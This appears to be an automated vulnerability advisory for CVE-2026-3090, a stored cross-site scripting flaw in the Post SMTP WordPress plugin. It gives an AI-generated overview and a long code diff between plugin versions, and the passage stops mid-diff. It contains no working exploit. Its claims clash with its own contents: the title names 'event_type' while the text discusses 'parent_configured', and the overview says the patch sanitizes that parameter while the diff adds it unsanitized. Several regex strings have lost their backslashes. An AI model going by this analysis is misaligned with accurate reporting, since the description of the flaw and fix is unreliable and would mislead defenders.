Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-3090: Post SMTP <= 3.8.0 – Unauthenticated Stored Cross-Site Scripting via 'event_type' (post-smtp)

CVE ID CVE-2026-3090
Plugin post-smtp
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 3.8.0
Patched Version 3.9.0
Disclosed March 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3090: The vulnerability exists in the Post SMTP plugin’s MainWP-Child extension REST API endpoint. The root cause is insufficient input sanitization and output escaping of the ‘event_type’ parameter when the Reporting and Tracking extension is enabled in Post SMTP Pro. The vulnerable endpoint at /wp-json/post-smtp/v1/mainwp processes actions ‘enable_post_smtp’ and ‘disable_post_smtp’ via the class-psmwp-rest-api.php file. The ‘parent_configured’ parameter received from line 49 is stored without proper sanitization. When the Reporting and Tracking extension displays this stored data, it renders without adequate escaping, allowing JavaScript execution. The patch adds proper sanitization to the ‘parent_configured’ parameter using sanitize_text_field() at line 49 of the REST API class. This prevents XSS payloads from being stored and executed. Exploitation requires Post SMTP Pro with Reporting and Tracking enabled, allowing unauthenticated attackers to inject arbitrary scripts that execute when administrators view affected pages.

Differential between vulnerable and patched code

Code Diff
--- a/post-smtp/Postman/Dashboard/NewDashboard.php
+++ b/post-smtp/Postman/Dashboard/NewDashboard.php
@@ -54,10 +54,14 @@
 			$postman_options    = get_option( 'postman_options', array() );
             $app_connected      = get_option( 'post_smtp_mobile_app_connection' );
 	        $main_wp_configured = get_option( 'post_smtp_use_from_main_site' );
+            $post_smtp_parent_configured = get_option( 'post_smtp_parent_configured' );
             $configured         = $transport->isConfiguredAndReady() ? 'true' : 'false';
             $app_connected      = empty( $app_connected ) ? 'false' : 'true';
 	        $main_wp_configured = empty( $main_wp_configured ) ? 'false' : 'true';
-			$has_post_smtp_pro  = apply_filters( 'active_plugins', get_option( 'active_plugins' ) );
+			if ( $main_wp_configured == 'true' ) {
+                $configured = $post_smtp_parent_configured ? 'true' : 'false';
+            }
+            $has_post_smtp_pro  = apply_filters( 'active_plugins', get_option( 'active_plugins' ) );
 			$has_post_smtp_pro  = in_array( 'post-smtp-pro/post-smtp-pro.php', $has_post_smtp_pro, true )
 				? 'true' : 'false';
 			$log_only_mode = is_array( $postman_options ) && isset( $postman_options['run_mode'] ) && 'log_only' === $postman_options['run_mode']
--- a/post-smtp/Postman/Dashboard/includes/i18n.php
+++ b/post-smtp/Postman/Dashboard/includes/i18n.php
@@ -45,18 +45,23 @@
 		),
 	),
 	'banners'       => array(
-		'configured'    => array(
+		'configured'       => array(
 			'text'   => __( 'Post SMTP is configured!', 'post-smtp' ),
 			'button' => __( 'Send a test email', 'post-smtp' ),
 		),
-		'notConfigured' => array(
+		'notConfigured'    => array(
 			'text'   => __( 'Post SMTP is not configured and is mimicking out-of-the-box WordPress email delivery.', 'post-smtp' ),
 			'button' => __( 'Setup the wizard', 'post-smtp' ),
 		),
-		'isLogOnly'     => array(
+		'isLogOnly'        => array(
 			'text'   => __( 'Postman is in non-Production mode and is dumping all emails.', 'post-smtp' ),
 			'button' => __( 'Setup the wizard', 'post-smtp' ),
 		),
+		// Shown on the child site when connected to MainWP parent but the parent mailer
+		// is not yet configured.
+		'mainwpConnected' => array(
+			'text' => __( 'Connected to the MainWP Parent Site.', 'post-smtp' ),
+		),
 	),
 	'cards'         => array(
 		'total'     => __( 'Total Emails', 'post-smtp' ),
--- a/post-smtp/Postman/Extensions/Core/Notifications/PostmanNotify.php
+++ b/post-smtp/Postman/Extensions/Core/Notifications/PostmanNotify.php
@@ -95,7 +95,7 @@
             foreach ( $_POST['postman_options']['webhook_alerts_urls'] as $key => $url ) {

                 if( ! empty( $url ) ) {
-                    $webhook_urls[] = esc_url( $url );
+                    $webhook_urls[] = esc_url_raw( $url );
                 }

             }
--- a/post-smtp/Postman/Extensions/MainWP-Child/includes/classes/class-psmwp-request.php
+++ b/post-smtp/Postman/Extensions/MainWP-Child/includes/classes/class-psmwp-request.php
@@ -1,5 +1,10 @@
 <?php

+// Ensure Post SMTP logging helpers are available.
+if ( ! function_exists( 'postman_add_log_meta' ) && defined( 'POST_SMTP_PATH' ) ) {
+	require_once POST_SMTP_PATH . '/includes/postman-functions.php';
+}
+
 if( !class_exists( 'Post_SMTP_MainWP_Child_Request' ) ):

 class Post_SMTP_MainWP_Child_Request {
@@ -41,7 +46,7 @@
      * @version 2.6.0
      */
     public function process_email( $to, $subject, $message, $headers = '', $attachments = array() ) {
-
+
 		$body = array();
 		$pubkey = get_option( 'mainwp_child_pubkey' );
 		$pubkey = $pubkey ? md5( $pubkey ) : '';
@@ -49,42 +54,455 @@
             'Site-Id'	=>	get_option( 'mainwp_child_siteid' ),
 			'API-Key'	=>	$pubkey
         );
-
-		//let's manage attachments
-		if( !empty( $attachments ) && $attachments ) {
+
+		// Let's manage attachments.
+		if ( ! empty( $attachments ) && $attachments ) {

 			$_attachments = $attachments;
-			$attachments = array();
-			foreach( $_attachments as $attachment ) {
-
-				$attachments[$attachment] = file_get_contents( $attachment );
-
+			$attachments  = array();
+
+			foreach ( $_attachments as $attachment ) {
+
+				$attachments[ $attachment ] = file_get_contents( $attachment );
+
 			}
-
+
 		}
-
-		$body = compact( 'to', 'subject', 'message', 'headers', 'attachments' );
+
+		$body         = compact( 'to', 'subject', 'message', 'headers', 'attachments' );
 		$action_nonce = apply_filters( 'mainwp_child_create_action_nonce', false, 'post-smtp-send-mail' );
-		$ping_nonce = apply_filters( 'mainwp_child_get_ping_nonce', '' );
+		$ping_nonce   = apply_filters( 'mainwp_child_get_ping_nonce', '' );
 		$this->base_url = "$this->base_url/?actionnonce={$action_nonce}&pingnonce={$ping_nonce}";

         $response = wp_remote_post(
             $this->base_url,
             array(
-                'method'	=> 'POST',
-                'body'		=>	$body,
-                'headers'	=>	$request_headers
+                'method'  => 'POST',
+                'body'    => $body,
+                'headers' => $request_headers,
             )
         );
-
-        if( wp_remote_retrieve_body( $response ) ) {
-
-			return true;
-
+
+		// Transport-level failure.
+		if ( is_wp_error( $response ) ) {
+			$this->log_email_result(
+				$to,
+				$subject,
+				$headers,
+				false,
+				0,
+				'',
+				$response->get_error_message()
+			);
+
+			return $response;
 		}

+		$code       = wp_remote_retrieve_response_code( $response );
+		$body_raw   = wp_remote_retrieve_body( $response );
+
+		$success        = false;
+		$status_message = '';
+		$parent_logs    = array();
+
+		// Try to understand a standard WP REST-style response.
+		if ( ! empty( $body_raw ) ) {
+			$decoded = json_decode( $body_raw, true );
+
+			// In some environments PHP warnings/notices (HTML) are echoed before the JSON body.
+			// If the first decode fails, try to locate the first "{" and decode from there so
+			// we can still read the JSON structure returned by wp_send_json_*().
+			if ( ! is_array( $decoded ) ) {
+				$json_start = strpos( $body_raw, '{' );
+				if ( false !== $json_start ) {
+					$maybe_json = substr( $body_raw, $json_start );
+					$decoded    = json_decode( $maybe_json, true );
+				}
+			}
+
+			if ( is_array( $decoded ) && array_key_exists( 'success', $decoded ) ) {
+				$success = (bool) $decoded['success'];
+
+				if ( isset( $decoded['data'] ) && is_array( $decoded['data'] ) ) {
+					if ( isset( $decoded['data']['message'] ) ) {
+						$status_message = sanitize_text_field( $decoded['data']['message'] );
+					}
+
+					// Prefer the new multi-log format from the parent, but fall back to single log for backwards compatibility.
+					if ( isset( $decoded['data']['logs'] ) && is_array( $decoded['data']['logs'] ) ) {
+						$parent_logs = $decoded['data']['logs'];
+					} elseif ( isset( $decoded['data']['log'] ) && is_array( $decoded['data']['log'] ) ) {
+						$parent_logs = array( $decoded['data']['log'] );
+					}
+				}
+			} else {
+				// Fallback: treat 2xx as success when body is non-empty.
+				$success = ( $code >= 200 && $code < 300 );
+			}
+		} else {
+			// Empty body: rely on status code.
+			$success = ( $code >= 200 && $code < 300 );
+		}
+
+		/**
+		 * If the parent sent back detailed Email Log entries (for example, a primary attempt that failed
+		 * and a fallback attempt that succeeded), derive the overall success from those logs so that
+		 * wp_post_smtp_mainwp_logs accurately reflects whether at least one attempt delivered the email.
+		 *
+		 * - If any parent log has a "success" value that represents delivery (1 or "Sent ( ** Fallback ** )"),
+		 *   we treat the whole operation as successful.
+		 * - If we have logs but none indicate delivery, we treat the operation as failed.
+		 */
+		if ( ! empty( $parent_logs ) && is_array( $parent_logs ) ) {
+			$any_success_log = false;
+
+			foreach ( $parent_logs as $parent_log ) {
+				if ( ! is_array( $parent_log ) || ! array_key_exists( 'success', $parent_log ) ) {
+					continue;
+				}
+
+				$log_success = $parent_log['success'];
+
+				// In the logs table, "success" is:
+				// - int(1) for normal success
+				// - string 'Sent ( ** Fallback ** )' when fallback delivered
+				// - other strings for errors / queue states.
+				if (
+					1 === $log_success ||
+					'1' === $log_success ||
+					true === $log_success ||
+					'Sent ( ** Fallback ** )' === $log_success
+				) {
+					$any_success_log = true;
+					break;
+				}
+			}
+
+			// If we have detailed logs, prefer their outcome over the top-level "success" flag.
+			$success = $any_success_log;
+		}
+
+		$this->log_email_result(
+			$to,
+			$subject,
+			$headers,
+			$success,
+			$code,
+			$body_raw,
+			$status_message
+		);
+
+		// If the parent sent back Email Log entries (primary + fallback attempts), mirror them into the
+		// child site's Email Log table so the child can display the same details locally.
+		if ( ! empty( $parent_logs ) && is_array( $parent_logs ) ) {
+			foreach ( $parent_logs as $parent_log ) {
+				if ( is_array( $parent_log ) ) {
+					$this->sync_parent_log_to_child( $parent_log );
+				}
+			}
+		} elseif ( $success ) {
+			// Parent responded without per-attempt Email Logs. To avoid having no entries in wp_post_smtp_logs
+			// on the child site, create a minimal log row that at least records the successful delivery.
+			$this->create_basic_child_log( $to, $subject, $message, $headers, $status_message );
+		} else {
+			// Overall send failed and the parent did not provide detailed logs; record a minimal failure
+			// entry in wp_post_smtp_logs so the child Email Log and failure widgets can still show it.
+			$this->create_basic_child_failure_log( $to, $subject, $message, $headers, $status_message );
+		}
+
+		if ( ! $success ) {
+			return new WP_Error(
+				'post_smtp_mainwp_email_failed',
+				__( 'Email sending failed on MainWP Dashboard site.', 'post-smtp' ),
+				array(
+					'status_code' => $code,
+					'response'    => $body_raw,
+					'message'     => $status_message,
+				)
+			);
+		}
+
+		return true;
+
     }

+	/**
+	 * Log the result of a MainWP email request in the child site's database.
+	 *
+	 * @since 2.6.0
+	 * @version 2.6.0
+	 *
+	 * @param string|array $to            Recipient(s).
+	 * @param string       $subject       Email subject.
+	 * @param string|array $headers       Headers.
+	 * @param bool         $success       Whether the request was successful.
+	 * @param int          $status_code   HTTP status code.
+	 * @param string       $response_body Raw response body.
+	 * @param string       $status_message Parsed status / error message.
+	 */
+	private function log_email_result( $to, $subject, $headers, $success, $status_code, $response_body, $status_message ) {
+		global $wpdb;
+
+		$table_name = $wpdb->prefix . 'post_smtp_mainwp_logs';
+
+		// Ensure table exists (cheap, idempotent).
+		$charset_collate = $wpdb->get_charset_collate();
+
+		$create_sql = "CREATE TABLE IF NOT EXISTS {$table_name} (
+			id bigint(20) unsigned NOT NULL AUTO_INCREMENT,
+			created_at datetime NOT NULL,
+			to_email longtext NULL,
+			subject text NULL,
+			headers longtext NULL,
+			success tinyint(1) NOT NULL DEFAULT 0,
+			status_code int(11) NOT NULL DEFAULT 0,
+			status_message text NULL,
+			response_body longtext NULL,
+			PRIMARY KEY  (id),
+			KEY created_at (created_at)
+		) {$charset_collate};";
+
+		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+		$wpdb->query( $create_sql );
+
+		// Normalize data for storage.
+		if ( is_array( $to ) ) {
+			$to = implode( ', ', $to );
+		}
+
+		if ( is_array( $headers ) ) {
+			$headers = maybe_serialize( $headers );
+		}
+
+		// Avoid storing extremely large bodies.
+		if ( ! empty( $response_body ) && strlen( $response_body ) > 10000 ) {
+			$response_body = substr( $response_body, 0, 10000 );
+		}
+
+		// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
+		$wpdb->insert(
+			$table_name,
+			array(
+				'created_at'     => current_time( 'mysql' ),
+				'to_email'       => $to,
+				'subject'        => $subject,
+				'headers'        => $headers,
+				'success'        => $success ? 1 : 0,
+				'status_code'    => (int) $status_code,
+				'status_message' => $status_message,
+				'response_body'  => $response_body,
+			),
+			array(
+				'%s',
+				'%s',
+				'%s',
+				'%s',
+				'%d',
+				'%d',
+				'%s',
+				'%s',
+			)
+		);
+	}
+
+	/**
+	 * When the MainWP Dashboard does not return individual Email Log rows in its API response,
+	 * create a minimal log entry in the child's main Email Log table so that successful sends
+	 * are still visible under wp_post_smtp_logs.
+	 *
+	 * This is a fallback and only runs when we know the overall send was successful but we
+	 * did not receive detailed logs to mirror.
+	 *
+	 * @param string|array $to
+	 * @param string       $subject
+	 * @param string       $message
+	 * @param string|array $headers
+	 * @param string       $status_message
+	 */
+	private function create_basic_child_log( $to, $subject, $message, $headers, $status_message ) {
+		if ( ! class_exists( 'PostmanEmailLogs' ) && defined( 'POST_SMTP_PATH' ) ) {
+			require_once POST_SMTP_PATH . '/Postman/PostmanEmailLogs.php';
+		}
+
+		if ( ! class_exists( 'PostmanEmailLogs' ) ) {
+			return;
+		}
+
+		$email_logs = new PostmanEmailLogs();
+
+		$data = array(
+			// Match the semantics from PostmanEmailLogService::writeToEmailLog for successful sends.
+			'success'          => 1,
+			'solution'         => is_string( $status_message ) ? $status_message : '',
+			'original_subject' => is_string( $subject ) ? sanitize_text_field( $subject ) : '',
+			'original_message' => is_string( $message ) ? $message : '',
+			'time'             => current_time( 'timestamp' ),
+		);
+
+		// Populate recipient fields if we have them.
+		if ( ! empty( $to ) ) {
+			$sanitized_to = '';
+
+			if ( class_exists( 'PostmanEmailLogService' ) ) {
+				// Re-use the core sanitizer so formats like "Name <email@domain>" are handled correctly.
+				$service      = PostmanEmailLogService::getInstance();
+				$sanitized_to = $service->sanitize_emails( $to );
+			} else {
+				$emails       = is_array( $to ) ? $to : explode( ',', (string) $to );
+				$emails       = array_map( 'trim', $emails );
+				$emails       = array_map( 'sanitize_email', $emails );
+				$emails       = array_filter( $emails );
+				$sanitized_to = implode( ', ', $emails );
+			}
+
+			if ( ! empty( $sanitized_to ) ) {
+				$data['to_header']     = $sanitized_to;
+				$data['original_to']   = $sanitized_to;
+			}
+		}
+
+		// Optionally persist headers for debugging / resends.
+		if ( ! empty( $headers ) ) {
+			$data['original_headers'] = is_array( $headers ) ? maybe_serialize( $headers ) : (string) $headers;
+		}
+
+		$email_logs->save( $data );
+	}
+
+	/**
+	 * Create a minimal failure log in the child's main Email Log table when the MainWP Dashboard
+	 * reports that sending failed and does not return detailed log rows to mirror.
+	 *
+	 * The "success" field is populated with the error message so that it is rendered as a Failed
+	 * status in the Email Log UI, matching how core Post SMTP treats failure entries.
+	 *
+	 * @param string|array $to
+	 * @param string       $subject
+	 * @param string       $message
+	 * @param string|array $headers
+	 * @param string       $status_message
+	 */
+	private function create_basic_child_failure_log( $to, $subject, $message, $headers, $status_message ) {
+		if ( ! class_exists( 'PostmanEmailLogs' ) && defined( 'POST_SMTP_PATH' ) ) {
+			require_once POST_SMTP_PATH . '/Postman/PostmanEmailLogs.php';
+		}
+
+		if ( ! class_exists( 'PostmanEmailLogs' ) ) {
+			return;
+		}
+
+		$email_logs = new PostmanEmailLogs();
+
+		// If we don't have a meaningful status message, fall back to a generic one.
+		if ( ! is_string( $status_message ) || '' === trim( $status_message ) ) {
+			$status_message = __( 'Email sending failed on MainWP Dashboard site.', 'post-smtp' );
+		}
+
+		$data = array(
+			// For failures, Post SMTP stores a descriptive string in "success" which is later used
+			// as the title attribute on the "Failed" label in the UI.
+			'success'          => $status_message,
+			'solution'         => '',
+			'original_subject' => is_string( $subject ) ? sanitize_text_field( $subject ) : '',
+			'original_message' => is_string( $message ) ? $message : '',
+			'time'             => current_time( 'timestamp' ),
+		);
+
+		// Populate recipient fields if we have them.
+		if ( ! empty( $to ) ) {
+			$sanitized_to = '';
+
+			if ( class_exists( 'PostmanEmailLogService' ) ) {
+				$service      = PostmanEmailLogService::getInstance();
+				$sanitized_to = $service->sanitize_emails( $to );
+			} else {
+				$emails       = is_array( $to ) ? $to : explode( ',', (string) $to );
+				$emails       = array_map( 'trim', $emails );
+				$emails       = array_map( 'sanitize_email', $emails );
+				$emails       = array_filter( $emails );
+				$sanitized_to = implode( ', ', $emails );
+			}
+
+			if ( ! empty( $sanitized_to ) ) {
+				$data['to_header']   = $sanitized_to;
+				$data['original_to'] = $sanitized_to;
+			}
+		}
+
+		// Optionally persist headers for debugging / resends.
+		if ( ! empty( $headers ) ) {
+			$data['original_headers'] = is_array( $headers ) ? maybe_serialize( $headers ) : (string) $headers;
+		}
+
+		$email_logs->save( $data );
+	}
+
+	/**
+	 * Mirror the parent site's Post SMTP email log into the child site's own Email Log table.
+	 *
+	 * @param array $log Parent site log data.
+	 */
+	private function sync_parent_log_to_child( $log ) {
+
+		if ( ! is_array( $log ) || empty( $log ) ) {
+			return;
+		}
+
+		if ( ! class_exists( 'PostmanEmailLogs' ) && defined( 'POST_SMTP_PATH' ) ) {
+			require_once POST_SMTP_PATH . '/Postman/PostmanEmailLogs.php';
+		}
+
+		if ( ! class_exists( 'PostmanEmailLogs' ) ) {
+			return;
+		}
+
+		$email_logs = new PostmanEmailLogs();
+
+		$allowed_fields = array(
+			'solution',
+			'success',
+			'from_header',
+			'to_header',
+			'cc_header',
+			'bcc_header',
+			'reply_to_header',
+			'transport_uri',
+			'original_to',
+			'original_subject',
+			'original_message',
+			'original_headers',
+			'session_transcript',
+			'time',
+		);
+
+		$data = array();
+
+		foreach ( $allowed_fields as $field ) {
+			if ( isset( $log[ $field ] ) ) {
+				$data[ $field ] = $log[ $field ];
+			}
+		}
+
+		if ( empty( $data ) ) {
+			return;
+		}
+
+		if ( empty( $data['time'] ) ) {
+			$data['time'] = current_time( 'timestamp' );
+		}
+
+		$child_log_id = $email_logs->save( $data );
+
+		if ( ! $child_log_id || ! function_exists( 'postman_add_log_meta' ) ) {
+			return;
+		}
+
+		// Link back to the parent log ID when available.
+		if ( isset( $log['id'] ) ) {
+			postman_add_log_meta( $child_log_id, 'mainwp_parent_log_id', absint( $log['id'] ) );
+		}
+	}
+

 }

--- a/post-smtp/Postman/Extensions/MainWP-Child/includes/psmwp-functions.php
+++ b/post-smtp/Postman/Extensions/MainWP-Child/includes/psmwp-functions.php
@@ -16,15 +16,13 @@
  */
 function wp_mail( $to, $subject, $message, $headers = '', $attachments = array() ) {

-    $request = new Post_SMTP_MainWP_Child_Request();
+    $request  = new Post_SMTP_MainWP_Child_Request();
     $response = $request->process_email( $to, $subject, $message, $headers, $attachments );
-
-    if( is_wp_error( $response ) ) {
-
+
+    if ( is_wp_error( $response ) || ! $response ) {
         return false;
-
     }
-
+
     return true;

 }
--- a/post-smtp/Postman/Extensions/MainWP-Child/includes/rest-api/v1/class-psmwp-rest-api.php
+++ b/post-smtp/Postman/Extensions/MainWP-Child/includes/rest-api/v1/class-psmwp-rest-api.php
@@ -46,6 +46,7 @@
 		$headers = $request->get_headers();
 		$api_key = empty( $request->get_header( 'api_key' ) ) ? '' : sanitize_text_field( $request->get_header( 'api_key' ) );
 		$action = $request->get_param( 'action' );
+		$parent_configured = $request->get_param( 'parent_configured' );

         //Lets Validate :D
 		if( $this->validate( $api_key ) ) {
@@ -53,12 +54,14 @@
             if( $action == 'enable_post_smtp' ) {

 				update_option( 'post_smtp_use_from_main_site', '1' );
+				update_option( 'post_smtp_parent_configured', $parent_configured );

 			}

 			if( $action == 'disable_post_smtp' ) {

 				 delete_option( 'post_smtp_use_from_main_site' );
+				 delete_option( 'post_smtp_parent_configured' );

 			}

--- a/post-smtp/Postman/Mobile/includes/email-content.php
+++ b/post-smtp/Postman/Mobile/includes/email-content.php
@@ -60,6 +60,7 @@
 						array(
 							'from_header',
 							'original_to',
+							'reply_to_header',
 							'time',
 							'original_subject',
 							'transport_uri',
@@ -117,6 +118,12 @@
 											<td><strong>To:</strong></td>
 											<td><?php echo esc_html( $log['original_to'] ); ?></td>
 										</tr>
+										<?php if ( ! empty( $log['reply_to_header'] ) ) : ?>
+										<tr>
+											<td><strong>Reply-To:</strong></td>
+											<td><?php echo esc_html( $log['reply_to_header'] ); ?></td>
+										</tr>
+										<?php endif; ?>
 										<tr>
 											<td><strong>Date:</strong></td>
 											<td><?php echo esc_html( date( "{$date_format} {$time_format}", $log['time'] ) ); ?></td>
@@ -132,7 +139,46 @@
 									</tbody>
 								</table>
 								<div class="message-body">
-									<?php echo wp_kses_post( $log['original_message'] ); ?>
+									<?php
+									$message = isset( $log['original_message'] ) ? $log['original_message'] : '';
+
+									// Prefer trimming everything before the real HTML document.
+									$pos_doctype = stripos( $message, '<!DOCTYPE' );
+									$pos_html    = stripos( $message, '<html' );
+									$start       = false;
+
+									if ( $pos_doctype !== false ) {
+										$start = $pos_doctype;
+									} elseif ( $pos_html !== false ) {
+										$start = $pos_html;
+									}
+
+									if ( $start !== false ) {
+										// Drop all MIME preamble / headers above the actual HTML email.
+										$message = substr( $message, $start );
+									} else {
+										// Fallback: strip leading MIME header lines (Content-Type, Content-Transfer-Encoding, etc.).
+										$lines       = preg_split( "/rn|n|r/", $message );
+										$clean_lines = array();
+										$skipping    = true;
+
+										foreach ( $lines as $line ) {
+											if ( $skipping && preg_match( '/^s*(Content-Type:|Content-Transfer-Encoding:)/i', $line ) ) {
+												// Skip header-like lines at the top.
+												continue;
+											}
+											$skipping      = false;
+											$clean_lines[] = $line;
+										}
+
+										$message = implode( "n", $clean_lines );
+									}
+
+									// Remove any stray broken closing tbody tag fragments that can leak as text.
+									$message = preg_replace( '/</tbod[^>]*>/i', '', $message );
+
+									echo wp_kses_post( $message );
+									?>
 								</div>
 							</div>
 						</body>
--- a/post-smtp/Postman/Phpmailer/PostsmtpMailer.php
+++ b/post-smtp/Postman/Phpmailer/PostsmtpMailer.php
@@ -184,5 +184,7 @@
 			);
 			return $result;
 		}
+
 	}
+
 }
 No newline at end of file
--- a/post-smtp/Postman/Postman-Email-Log/PostmanEmailLogService.php
+++ b/post-smtp/Postman/Postman-Email-Log/PostmanEmailLogService.php
@@ -374,20 +374,24 @@
 		 * @return string
 		 */
 		private static function flattenEmails( array $addresses ) {
-			$flat = '';
-			$count = 0;
+			/**
+			 * Previously this method limited the output to the first 3 recipients
+			 * and then appended a summary such as ".. +N more". That summary string
+			 * is not a valid email address, so when the value was later passed
+			 * through sanitize_emails() only the first few addresses were actually
+			 * stored in the database.
+			 *
+			 * For accurate logging (and to make all CC/BCC recipients available
+			 * to the UI and REST API), we now return the full list of formatted
+			 * email addresses with no truncation.
+			 */
+			$emails = array();
 			foreach ( $addresses as $address ) {
-				if ( $count >= 3 ) {
-					$flat .= sprintf( __( '.. +%d more', 'post-smtp' ), sizeof( $addresses ) - $count );
-					break;
+				if ( $address instanceof PostmanEmailAddress ) {
+					$emails[] = $address->format();
 				}
-				if ( $count > 0 ) {
-					$flat .= ', ';
-				}
-				$flat .= $address->format();
-				$count ++;
 			}
-			return $flat;
+			return implode( ', ', $emails );
 		}
 	}
 }
--- a/post-smtp/Postman/Postman-Mail-Tester/PostmanEmailTester.php
+++ b/post-smtp/Postman/Postman-Mail-Tester/PostmanEmailTester.php
@@ -54,6 +54,7 @@
         $email  = sanitize_email( $_POST['email'] ?? '' );
         $socket = sanitize_text_field( $_POST['socket'] ?? '' );
         $apikey = sanitize_text_field( $_POST['apikey'] ?? '' );
+        $from_email = sanitize_email( $_POST['from'] ?? '' );
         $args = array(
             'method'  => WP_REST_Server::READABLE,
             'headers' => array(
@@ -68,10 +69,11 @@
         }

         if ( $this->requires_test_api_verification( $socket ) ) {
-            $this->handle_sockets_check( $email, $args, $socket  );
-        } else {
-            $this->handle_legacy_test( $email, $args );
-        }
+            $this->handle_sockets_check( $from_email, $args, $socket  );
+        }
+        // else {
+        //     $this->handle_legacy_test( $email, $args );
+        // }
     }

     /**
@@ -79,6 +81,19 @@
      */
     private function handle_sockets_check( $email, $args, $socket ) {

+        // Check if it's Gmail API or Office API with default domains
+        if ( $this->is_default_domain_provider( $email, $socket ) ) {
+            // Return success directly for default domains
+            $success_body = json_encode( array(
+                'success' => true,
+                'message' => 'Test email verification skipped for default domain provider',
+                'provider' => $socket,
+                'email_domain' => $this->get_email_domain( $email )
+            ) );
+            $this->send_success_response( 'default_mailer', $success_body );
+            return;
+        }
+
         $verify_response = wp_remote_post( "{$this->base_url}/email-auth-check?test_email={$email}&selector={$socket}", $args );
         $verify_code     = wp_remote_retrieve_response_code( $verify_response );
         $verify_body     = wp_remote_retrieve_body( $verify_response );
@@ -179,12 +194,74 @@
             'mandrill_api',
             'sparkpost_api',
             'smtp2go_api',
-            'sendpulse_api'
+            'sendpulse_api',
+            'gmail_api',
+            'office365_api',
+            'smtp'
         );

         return in_array( $provider, $providers_requiring_test_api, true );
     }

+    /**
+     * Check if the provider is Gmail API or Office API with default email domains.
+     *
+     * @param string $email The email address to check.
+     * @param string $socket The provider/socket identifier.
+     * @return bool True if it's a default domain provider that should skip endpoint verification.
+     */
+    private function is_default_domain_provider( $email, $socket ) {
+        $email_domain = $this->get_email_domain( $email );
+
+        // Gmail API default domains
+        $gmail_default_domains = array(
+            'gmail.com',
+            'googlemail.com'
+        );
+
+        // Office/Outlook API default domains
+        $office_default_domains = array(
+            'outlook.com',
+            'outlook.co.uk',
+            'outlook.fr',
+            'outlook.de',
+            'outlook.jp',
+            'hotmail.com',
+            'hotmail.co.uk',
+            'hotmail.fr',
+            'hotmail.de',
+            'hotmail.it',
+            'live.com',
+            'live.co.uk',
+            'live.fr',
+            'live.de',
+            'msn.com'
+        );
+
+        // Check Gmail API with default domains
+        if ( in_array( $socket, array( 'gmail_api' ) ) && in_array( $email_domain, $gmail_default_domains ) ) {
+            return true;
+        }
+
+        // Check Office API with default domains
+        if ( in_array( $socket, array( 'office365_api' ) ) && in_array( $email_domain, $office_default_domains ) ) {
+            return true;
+        }
+
+        return false;
+    }
+
+    /**
+     * Extract the domain part from an email address.
+     *
+     * @param string $email The email address.
+     * @return string The domain part of the email address.
+     */
+    private function get_email_domain( $email ) {
+        $parts = explode( '@', $email );
+        return isset( $parts[1] ) ? strtolower( trim( $parts[1] ) ) : '';
+    }
+

 }
 Postman_Email_Tester::get_instance();
--- a/post-smtp/Postman/Postman-Mail/PostmanEmailitTransport.php
+++ b/post-smtp/Postman/Postman-Mail/PostmanEmailitTransport.php
@@ -40,7 +40,7 @@
     }

     public function getName() {
-        return __('Emailit API', 'post-smtp');
+        return __('Emailit', 'post-smtp');
     }

     /**
--- a/post-smtp/Postman/Postman-Mail/PostmanMailerSendTransport.php
+++ b/post-smtp/Postman/Postman-Mail/PostmanMailerSendTransport.php
@@ -40,7 +40,7 @@
 		return self::SLUG;
 	}
 	public function getName() {
-		return __ ( 'MailerSend API', 'post-smtp' );
+		return __ ( 'MailerSend', 'post-smtp' );
 	}
 	/**
 	 * v0.2.1
--- a/post-smtp/Postman/Postman-Mail/PostmanMailerooTransport.php
+++ b/post-smtp/Postman/Postman-Mail/PostmanMailerooTransport.php
@@ -38,7 +38,7 @@
         }

         public function getName() {
-            return __('Maileroo API', 'post-smtp');
+            return __('Maileroo', 'post-smtp');
         }

         public function getHostname() {
@@ -94,7 +94,7 @@
         }

         public function printMailerooAuthSectionInfo() {
-            printf('<p id="wizard_maileroo_auth_help">%s</p>', sprintf(__('Enter your Maileroo API key and endpoint below.', 'post-smtp')));
+            printf('<p id="wizard_maileroo_auth_help">%s</p>', sprintf(__('Enter your Maileroo <a href="https://app.maileroo.com/dashboard" target="_blank">API key</a> and endpoint below.', 'post-smtp')));
         }

         public function maileroo_api_key_callback() {
--- a/post-smtp/Postman/Postman-Mail/PostmanModuleTransport.php
+++ b/post-smtp/Postman/Postman-Mail/PostmanModuleTransport.php
@@ -220,7 +220,13 @@
 		return PostmanOptions::getInstance ()->getEnvelopeSender ();
 	}
 	public function isEmailValidationSupported() {
-		return ! PostmanOptions::getInstance ()->isEmailValidationDisabled ();
+		$disabled = PostmanOptions::getInstance()->isEmailValidationDisabled();
+
+		if ( $disabled ) {
+			return false; // validation is OFF
+		}
+
+		return true; // validation is ON
 	}

 	/**
--- a/post-smtp/Postman/Postman-Mail/PostmanResendTransport.php
+++ b/post-smtp/Postman/Postman-Mail/PostmanResendTransport.php
@@ -46,7 +46,7 @@
     }

     public function getName() {
-        return __( 'Resend API', 'post-smtp' );
+        return __( 'Resend', 'post-smtp' );
     }

     /**
--- a/post-smtp/Postman/Postman-Mail/PostmanSendGridTransport.php
+++ b/post-smtp/Postman/Postman-Mail/PostmanSendGridTransport.php
@@ -40,7 +40,7 @@
 		return self::SLUG;
 	}
 	public function getName() {
-		return __ ( 'SendGrid API', 'post-smtp' );
+		return __ ( 'SendGrid', 'post-smtp' );
 	}
 	/**
 	 * v0.2.1
--- a/post-smtp/Postman/Postman-Mail/PostmanSmtpModuleTransport.php
+++ b/post-smtp/Postman/Postman-Mail/PostmanSmtpModuleTransport.php
@@ -540,7 +540,7 @@
 				<input type="checkbox" class="' . esc_attr( $class ) . '" name="enable_gmail_oneclick" ' . $is_checked .'>
 				<span class="slider round"></span>
 			</label>
-			'.esc_html__('Enable the option for a quick and easy way to connect with Google without the need of manually creating an app.', 'post-smtp').'
+			'.esc_html__('Enable the option for a quick, easy way to connect to Google Workspace (Gmail) API without manually creating an app.', 'post-smtp').'
 		</div>';
 	}

@@ -555,7 +555,18 @@
 		// Action URLs for buttons.
 		$nonce               = wp_create_nonce( 'remove_oauth_action' );
 		$postman_auth_token  = get_option( 'postman_auth_token' );
-		$auth_url = get_option( 'post_smtp_gmail_auth_url' );
+
